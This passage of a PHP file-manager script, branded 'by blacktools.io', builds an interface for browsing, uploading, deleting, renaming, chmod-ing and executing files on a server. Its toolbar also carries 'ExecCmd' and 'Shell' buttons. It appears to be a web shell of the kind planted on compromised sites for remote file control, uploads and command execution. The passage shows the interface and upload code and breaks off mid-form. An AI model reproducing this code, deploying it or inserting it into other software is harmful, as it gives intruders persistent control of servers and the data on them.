3176 window.open('".addslashes($path_info["basename"])."?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3177 }
3178 function shell(){
3179 var w = 800;
3180 var h = 600;
3181 window.open('".addslashes($path_info["basename"])."?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3182 }
3183 function view(arg){
3184 var w = 800;
3185 var h = 600;
3186 if(confirm('".uppercase(et('View'))." \\' '+arg+' \\' ?')) window.open('".addslashes($path_info["basename"])."?action=4¤t_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=no,menubar=no,location=yes');
3187 }
3188 function rename(arg){
3189 var nome = '';
3190 if (nome = prompt('".uppercase(et('Ren'))." \\' '+arg+' \\' ".et('To')." ...')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=3¤t_dir=".addslashes($current_dir)."&old_name='+escape(arg)+'&new_name='+escape(nome);
3191 }
3192 function set_dir_dest(arg){
3193 document.form_action.dir_dest.value=arg;
3194 if (document.form_action.action.value.length>0) test(document.form_action.action.value);
3195 else alert('".et('JSError').".');
3196 }
3197 function sel_dir(arg){
3198 document.form_action.action.value = arg;
3199 document.form_action.dir_dest.value='';
3200 if (!is_anything_selected()) alert('".et('NoSel').".');
3201 else {
3202 if (!getCookie('sel_dir_warn')) {
3203 //alert('".et('SelDir').".');
3204 document.cookie='sel_dir_warn'+'='+escape('true')+';';
3205 }
3206 set_sel_dir_warn(true);
3207 parent.frame2.set_flag(true);
3208 }
3209 }
3210 function set_sel_dir_warn(b){
3211 document.getElementById(\"sel_dir_warn\").style.display=(b?'':'none');
3212 }
3213 function cancel_copy_move(){
3214 set_sel_dir_warn(false);
3215 parent.frame2.set_flag(false);
3216 }
3217 function chmod_form(){
3218 cancel_copy_move();
3219 document.form_action.dir_dest.value='';
3220 document.form_action.chmod_arg.value='';
3221 if (!is_anything_selected()) alert('".et('NoSel').".');
3222 else {
3223 var w = 280;
3224 var h = 180;
3225 window.open('".addslashes($path_info["basename"])."?action=8', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3226 }
3227 }
3228 function set_chmod_arg(arg){
3229 cancel_copy_move();
3230 if (!is_anything_selected()) alert('".et('NoSel').".');
3231 else {
3232 document.form_action.dir_dest.value='';
3233 document.form_action.chmod_arg.value=arg;
3234 test(9);
3235 }
3236 }
3237 function test_action(){
3238 if (document.form_action.action.value != 0) return true;
3239 else return false;
3240 }
3241 function test_prompt(arg){
3242 cancel_copy_move();
3243 var erro='';
3244 var conf='';
3245 if (arg == 1){
3246 document.form_action.cmd_arg.value = prompt('".et('TypeDir').".');
3247 } else if (arg == 2){
3248 document.form_action.cmd_arg.value = prompt('".et('TypeArq').".');
3249 } else if (arg == 71){
3250 if (!is_anything_selected()) erro = '".et('NoSel').".';
3251 else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."');
3252 }
3253 if (erro!=''){
3254 document.form_action.cmd_arg.focus();
3255 alert(erro);
3256 } else if(document.form_action.cmd_arg.value.length>0) {
3257 document.form_action.action.value = arg;
3258 document.form_action.submit();
3259 }
3260 }
3261 function strstr(haystack,needle){
3262 var index = haystack.indexOf(needle);
3263 return (index==-1)?false:index;
3264 }
3265 function valid_dest(dest,orig){
3266 return (strstr(dest,orig)==false)?true:false;
3267 }
3268 // ArrayAlert - Selection debug only
3269 function aa(){
3270 var str = 'selected_dir_list:\\n';
3271 for (x=0;x<selected_dir_list.length;x++){
3272 str += selected_dir_list[x]+'\\n';
3273 }
3274 str += '\\nselected_file_list:\\n';
3275 for (x=0;x<selected_file_list.length;x++){
3276 str += selected_file_list[x]+'\\n';
3277 }
3278 alert(str);
3279 }
3280 function test(arg){
3281 cancel_copy_move();
3282 var erro='';
3283 var conf='';
3284 if (arg == 4){
3285 if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
3286 conf = '".et('RemSel')." ?\\n';
3287 } else if (arg == 5){
3288 if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
3289 else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
3290 else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '".et('DestEqOrig').".';
3291 else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '".et('InvalidDest').".';
3292 conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
3293 } else if (arg == 6){
3294 if (!is_anything_selected()) erro = '".et('NoSel').".';
3295 else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
3296 else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '".et('DestEqOrig').".';
3297 else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '".et('InvalidDest').".';
3298 conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
3299 } else if (arg == 9){
3300 if (!is_anything_selected()) erro = '".et('NoSel').".';
3301 else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".';
3302 //conf = '".et('AlterPermTo')." \\' '+document.form_action.chmod_arg.value+' \\' ?\\n';
3303 }
3304 if (erro!=''){
3305 document.form_action.cmd_arg.focus();
3306 alert(erro);
3307 } else if(conf!='') {
3308 if(confirm(conf)) {
3309 document.form_action.action.value = arg;
3310 document.form_action.submit();
3311 } else {
3312 set_sel_dir_warn(false);
3313 }
3314 } else {
3315 document.form_action.action.value = arg;
3316 document.form_action.submit();
3317 }
3318 }
3319 //-->
3320 </script>";
3321 $out .= "
3322 <form name=\"form_action\" action=\"".$path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
3323 <input type=hidden name=\"frame\" value=3>
3324 <input type=hidden name=\"action\" value=0>
3325 <input type=hidden name=\"dir_dest\" value=\"\">
3326 <input type=hidden name=\"chmod_arg\" value=\"\">
3327 <input type=hidden name=\"cmd_arg\" value=\"\">
3328 <input type=hidden name=\"current_dir\" value=\"$current_dir\">
3329 <input type=hidden name=\"dir_before\" value=\"$dir_before\">
3330 <input type=hidden name=\"selected_dir_list\" value=\"\">
3331 <input type=hidden name=\"selected_file_list\" value=\"\">";
3332 $out .= "
3333 <tr>
3334 <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
3335 <input type=button onclick=\"config()\" value=\"".et('Config')."\">
3336 <input type=button onclick=\"server_info()\" value=\"".et('ServerInfo')."\">
3337 <input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">
3338 <input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">
3339 <input type=button onclick=\"execute_cmd()\" value=\"".et('ExecCmd')."\">
3340 <input type=button onclick=\"upload()\" value=\"".et('Upload')."\">
3341 <input type=button onclick=\"shell()\" value=\"".et('Shell')."\">
3342 <b>$ip</b>
3343
3344
3345
3346 <font color='#383330'>by <a href='http://blacktools.io' target='_blank'>blacktools.io</a> </font> </div>
3347 </nobr>";
3348 $uplink = "";
3349 if ($current_dir != $fm_current_root){
3350 $mat = explode("/",$current_dir);
3351 $dir_before = "";
3352 for($x=0;$x<(count($mat)-2);$x++) $dir_before .= $mat[$x]."/";
3353 $uplink = "<a href=\"".$path_info["basename"]."?frame=3¤t_dir=$dir_before\"><<</a> ";
3354 }
3355 if($entry_count){
3356 $out .= "
3357 <tr bgcolor=\"#DDDDDD\"><td colspan=50><nobr>$uplink <a href=\"".$path_info["basename"]."?frame=3¤t_dir=$current_dir\">$current_dir</a></nobr>
3358 <tr>
3359 <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
3360 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI0\" value=\"".et('SelAll')."\">
3361 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
3362 <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Rem')."\">
3363 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
3364 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
3365 <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
3366 if ($islinux) $out .= "
3367 <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
3368 $out .= "
3369 <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
3370 $out .= "
3371 </nobr></td>
3372 </tr>
3373 <tr>
3374 <td bgcolor=\"#DDDDDD\" colspan=50 id=\"sel_dir_warn\" style=\"display:none\"><nobr><font color=\"red\">".et('SelDir')."...</font></nobr></td>
3375 </tr>";
3376 $file_count = 0;
3377 $dir_count = 0;
3378 $dir_out = array();
3379 $file_out = array();
3380 $max_opt = 0;
3381 foreach ($entry_list as $ind=>$dir_entry) {
3382 $file = $dir_entry["name"];
3383 if ($dir_entry["type"]=="dir"){
3384 $dir_out[$dir_count] = array();
3385 $dir_out[$dir_count][] = "
3386 <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
3387 <td><nobr><a href=\"JavaScript:go('".addslashes($file)."')\">$file</a></nobr></td>";
3388 $dir_out[$dir_count][] = "<td>".$dir_entry["p"]."</td>";
3389 if ($islinux) {
3390 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
3391 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
3392 }
3393 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
3394 $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
3395 if ($has_files) $dir_out[$dir_count][] = "<td> </td>";
3396 // Opções de diretório
3397 if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = "
3398 <td align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."¤t_dir=".addslashes($current_dir)."'\">".et('Rem')."</a>";
3399 if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = "
3400 <td align=center><a href=\"JavaScript:rename('".addslashes($file)."')\">".et('Ren')."</a>";
3401 if (count($dir_out[$dir_count])>$max_opt){
3402 $max_opt = count($dir_out[$dir_count]);
3403 }
3404 $dir_count++;
3405 } else {
3406 $file_out[$file_count] = array();
3407 $file_out[$file_count][] = "
3408 <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
3409 <td><nobr><a href=\"JavaScript:download('".addslashes($file)."')\">$file</a></nobr></td>";
3410 $file_out[$file_count][] = "<td>".$dir_entry["p"]."</td>";
3411 if ($islinux) {
3412 $file_out[$file_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
3413 $file_out[$file_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
3414 }
3415 $file_out[$file_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
3416 $file_out[$file_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
3417 $file_out[$file_count][] = "<td>".$dir_entry["extt"]."</td>";
3418 // Opções de arquivo
3419 if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = "
3420 <td align=center><a href=\"javascript:if(confirm('".uppercase(et('Rem'))." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."¤t_dir=".addslashes($current_dir)."'\">".et('Rem')."</a>";
3421 else $file_out[$file_count][] = "<td> </td>";
3422 if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = "
3423 <td align=center><a href=\"javascript:rename('".addslashes($file)."')\">".et('Ren')."</a>";
3424 else $file_out[$file_count][] = "<td> </td>";
3425 if ( is_readable($current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out[$file_count][] = "
3426 <td align=center><a href=\"javascript:edit_file('".addslashes($file)."')\">".et('Edit')."</a>";
3427 else $file_out[$file_count][] = "<td> </td>";
3428 if ( is_readable($current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
3429 <td align=center><a href=\"javascript:view('".addslashes($file)."');\">".et('View')."</a>";
3430 else $file_out[$file_count][] = "<td> </td>";
3431 if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
3432 <td align=center><a href=\"javascript:decompress('".addslashes($file)."')\">".et('Decompress')."</a>";
3433 else $file_out[$file_count][] = "<td> </td>";
3434 if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".exe#.com#.sh#.bat#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
3435 <td align=center><a href=\"javascript:execute_file('".addslashes($file)."')\">".et('Exec')."</a>";
3436 else $file_out[$file_count][] = "<td> </td>";
3437 if (count($file_out[$file_count])>$max_opt){
3438 $max_opt = count($file_out[$file_count]);
3439 }
3440 $file_count++;
3441 }
3442 }
3443 if ($dir_count){
3444 $out .= "
3445 <tr>
3446 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1¤t_dir=$current_dir\">".et('Name')."</a></nobr></td>
3447 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2¤t_dir=$current_dir\">".et('Perm')."</a></nobr></td>";
3448 if ($islinux) $out .= "
3449 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3¤t_dir=$current_dir\">".et('Owner')."</a></td>
3450 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4¤t_dir=$current_dir\">".et('Group')."</a></nobr></td>";
3451 $out .= "
3452 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5¤t_dir=$current_dir\">".et('Size')."</a></nobr></td>
3453 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6¤t_dir=$current_dir\">".et('Date')."</a></nobr></td>";
3454 if ($file_count) $out .= "
3455 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7¤t_dir=$current_dir\">".et('Type')."</a></nobr></td>";
3456 $out .= "
3457 <td bgcolor=\"#DDDDDD\" colspan=50> </td>
3458 </tr>";
3459
3460 }
3461 foreach($dir_out as $k=>$v){
3462 while (count($dir_out[$k])<$max_opt) {
3463 $dir_out[$k][] = "<td> </td>";
3464 }
3465 $out .= implode($dir_out[$k]);
3466 $out .= "</tr>";
3467 }
3468 if ($file_count){
3469 $out .= "
3470 <tr>
3471 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1¤t_dir=$current_dir\">".et('Name')."</a></nobr></td>
3472 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2¤t_dir=$current_dir\">".et('Perm')."</a></nobr></td>";
3473 if ($islinux) $out .= "
3474 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3¤t_dir=$current_dir\">".et('Owner')."</a></td>
3475 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4¤t_dir=$current_dir\">".et('Group')."</a></nobr></td>";
3476 $out .= "
3477 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5¤t_dir=$current_dir\">".et('Size')."</a></nobr></td>
3478 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6¤t_dir=$current_dir\">".et('Date')."</a></nobr></td>
3479 <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7¤t_dir=$current_dir\">".et('Type')."</a></nobr></td>
3480 <td bgcolor=\"#DDDDDD\" colspan=50> </td>
3481 </tr>";
3482
3483 }
3484 foreach($file_out as $k=>$v){
3485 while (count($file_out[$k])<$max_opt) {
3486 $file_out[$k][] = "<td> </td>";
3487 }
3488 $out .= implode($file_out[$k]);
3489 $out .= "</tr>";
3490 }
3491 $out .= "
3492 <tr>
3493 <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
3494 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI1\" value=\"".et('SelAll')."\">
3495 <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
3496 <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Rem')."\">
3497 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
3498 <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
3499 <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
3500 if ($islinux) $out .= "
3501 <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
3502 $out .= "
3503 <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
3504 $out .= "
3505 </nobr></td>
3506 </tr>";
3507 $out .= "
3508 </form>";
3509 $out .= "
3510 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".format_size($total_size)."</td></tr>";
3511 if ($quota_mb) {
3512 $out .= "
3513 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('Partition').": ".format_size(($quota_mb*1024*1024))." ".et('Total')." - ".format_size(($quota_mb*1024*1024)-total_size($fm_current_root))." ".et('Free')."</td></tr>";
3514 } else {
3515 $out .= "
3516 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('Partition').": ".format_size(disk_total_space($current_dir))." ".et('Total')." - ".format_size(disk_free_space($current_dir))." ".et('Free')."</td></tr>";
3517 }
3518 $tf = getmicrotime();
3519 $tt = ($tf - $ti);
3520 $out .= "
3521 <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."</td></tr>";
3522 $out .= "
3523 <script language=\"Javascript\" type=\"text/javascript\">
3524 <!--
3525 update_sel_status();
3526 //-->
3527 </script>";
3528 } else {
3529 $out .= "
3530 <tr>
3531 <td bgcolor=\"#DDDDDD\" width=\"1%\">$uplink<td bgcolor=\"#DDDDDD\" colspan=50><nobr><a href=\"".$path_info["basename"]."?frame=3¤t_dir=$current_dir\">$current_dir</a></nobr>
3532 <tr><td bgcolor=\"#DDDDDD\" colspan=50>".et('EmptyDir').".</tr>";
3533 }
3534 } else $out .= "<tr><td><font color=red>".et('IOError').".<br>$current_dir</font>";
3535 $out .= "</table>";
3536 echo $out;
3537}
3538function upload_form(){
3539 global $_FILES,$current_dir,$dir_dest,$fechar,$quota_mb,$path_info;
3540 $num_uploads = 5;
3541 html_header();
3542 echo "<body marginwidth=\"0\" marginheight=\"0\">";
3543 if (count($_FILES)==0){
3544 echo "
3545 <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
3546 <form name=\"upload_form\" action=\"".$path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">
3547 <input type=hidden name=dir_dest value=\"$current_dir\">
3548 <input type=hidden name=action value=10>
3549 <tr><th colspan=2>".et('Upload')."</th></tr>
3550 <tr><td align=right><b>".et('Destination').":<td><b><nobr>$current_dir</nobr>";
3551 for ($x=0;$x<$num_uploads;$x++){
3552 echo "<tr><td width=1 align=right><b>".et('File').":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";
3553 $test_js .= "(document.upload_form.file$x.value.length>0)||";
3554 }
3555 echo "
3556 <input type=button value=\"".et('Send')."\" onclick=\"test_upload_form()\"></nobr>
3557 <tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">".et('AutoClose')."</a>
3558 <tr><td colspan=2> </td></tr>
3559 </form>
3560 </table>
3561 <script language=\"Javascript\" type=\"text/javascript\">
3562 <!--
3563 function troca(){
3564 if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
3565 }
3566 foi = false;
3567 function test_upload_form(){
3568 if(".substr($test_js,0,strlen($test_js)-2)."){
3569 if (foi) alert('".et('SendingForm')."...');
3570 else {
3571 foi = true;
3572 document.upload_form.submit();
3573 }
3574 } else alert('".et('NoFileSel').".');
3575 }
3576 window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
3577 //-->
3578 </script>";
3579 } else {
3580 $out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>
3581 <tr><th colspan=2><nobr>".et('Destination').": $dir_dest</nobr>";
3582 for ($x=0;$x<$num_uploads;$x++){
3583 $temp_file = $_FILES["file".$x]["tmp_name"];
3584 $filename = $_FILES["file".$x]["name"];
3585 if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);
3586 else $resul = 7;
3587 switch($resul){
3588 case 1:
3589 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=green><b> ".et('FileSent').":</font><td>".$filename."</td></tr>\n";
3590 break;
3591 case 2:
3592 $out .= "<tr><td colspan=2><font color=red><b>".et('IOError')."</font></td></tr>\n";
3593 $x = $upload_num;
3594 break;
3595 case 3:
3596 $out .= "<tr><td colspan=2><font color=red><b>".et('SpaceLimReached')." ($quota_mb Mb)</font></td></tr>\n";
3597 $x = $upload_num;
3598 break;
3599 case 4:
3600 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=red><b> ".et('InvExt').":</font><td>".$filename."</td></tr>\n";
3601 break;
3602 case 5:
3603 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=red><b> ".et('FileNoOverw')."</font><td>".$filename."</td></tr>\n";
3604 break;
3605 case 6:
3606 $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=green><b> ".et('FileOverw').":</font><td>".$filename."</td></tr>\n";
3607 break;
3608 case 7:
3609 $out .= "<tr><td colspan=2><b>".str_zero($x+1,3).".<font color=red><b> ".et('FileIgnored')."</font></td></tr>\n";
3610 }
3611 }
3612 if ($fechar) {
3613 echo "
3614 <script language=\"Javascript\" type=\"text/javascript\">
3615 <!--
3616 window.close();
3617 //-->
3618 </script>
3619 ";
3620 } else {
3621 echo "
3622 <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
3623 $out
3624 <tr><td colspan=2> </td></tr>
3625 </table>
3626 <script language=\"Javascript\" type=\"text/javascript\">
3627 <!--
3628 window.focus();
3629 //-->
3630 </script>
3631 ";
3632 }
3633 }
3634 echo "</body>\n</html>";
3635}
3636function chmod_form(){
3637 html_header("
3638 <script language=\"Javascript\" type=\"text/javascript\">
3639 <!--
3640 function octalchange()
3641 {
3642 var val = document.chmod_form.t_total.value;
3643 var stickybin = parseInt(val.charAt(0)).toString(2);
3644 var ownerbin = parseInt(val.charAt(1)).toString(2);
3645 while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
3646 var groupbin = parseInt(val.charAt(2)).toString(2);
3647 while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
3648 var otherbin = parseInt(val.charAt(3)).toString(2);
3649 while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
3650 document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
3651 document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
3652 document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
3653 document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
3654 document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
3655 document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
3656 document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
3657 document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
3658 document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
3659 document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
3660 calc_chmod(1);
3661 };
3662
3663 function calc_chmod(nototals)
3664 {
3665 var users = new Array(\"owner\", \"group\", \"other\");
3666 var totals = new Array(\"\",\"\",\"\");
3667 var syms = new Array(\"\",\"\",\"\");
3668
3669 for (var i=0; i<users.length; i++)
3670 {
3671 var user=users[i];
3672 var field4 = user + \"4\";
3673 var field2 = user + \"2\";
3674 var field1 = user + \"1\";
3675 var symbolic = \"sym_\" + user;
3676 var number = 0;
3677 var sym_string = \"\";
3678 var sticky = \"0\";
3679 var sticky_sym = \" \";
3680 if (document.chmod_form.sticky.checked){
3681 sticky = \"1\";
3682 sticky_sym = \"t\";
3683 }
3684 if (document.chmod_form[field4].checked == true) { number += 4; }
3685 if (document.chmod_form[field2].checked == true) { number += 2; }
3686 if (document.chmod_form[field1].checked == true) { number += 1; }
3687
3688 if (document.chmod_form[field4].checked == true) {
3689 sym_string += \"r\";
3690 } else {
3691 sym_string += \"-\";
3692 }
3693 if (document.chmod_form[field2].checked == true) {
3694 sym_string += \"w\";
3695 } else {
3696 sym_string += \"-\";
3697 }
3698 if (document.chmod_form[field1].checked == true) {
3699 sym_string += \"x\";
3700 } else {
3701 sym_string += \"-\";
3702 }
3703
3704 totals[i] = totals[i]+number;
3705 syms[i] = syms[i]+sym_string;
3706
3707 };
3708 if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
3709 document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
3710 }
3711 function sticky_change(){
3712 document.chmod_form.sticky.checked = !(document.chmod_form.sticky.checked);
3713 }
3714 function apply_chmod(){
3715 if (confirm('".et('AlterPermTo')." \\' '+document.chmod_form.t_total.value+' \\' ?\\n')){
3716 window.opener.set_chmod_arg(document.chmod_form.t_total.value);
3717 window.close();
3718 }
3719 }
3720
3721 window.onload=octalchange
3722 window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
3723 //-->
3724 </script>");
3725 echo "<body marginwidth=\"0\" marginheight=\"0\">
3726 <form name=\"chmod_form\">
3727 <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
3728 <tr><th colspan=4>".et('Perms')."</th></tr>
3729 <TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">
3730 <TD><input type=\"text\" name=\"t_total\" value=\"0755\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>
3731 <TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>
3732 </TR>
3733 </TABLE>
3734 <table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>
3735 <tr bgcolor=\"#333333\">
3736 <td WIDTH=\"60\" align=\"left\"> </td>
3737 <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."
3738 </b></td>
3739 <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."
3740 </b></td>
3741 <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."
3742 <b></td>
3743 </tr>
3744 <tr bgcolor=\"#DDDDDD\">
3745 <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Read')."</td>
3746 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3747 <input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
3748 </td>
3749 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
3750 </td>
3751 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3752 <input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
3753 </td>
3754 </tr>
3755 <tr bgcolor=\"#DDDDDD\">
3756 <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Write')."</td>
3757 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3758 <input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
3759 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
3760 </td>
3761 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
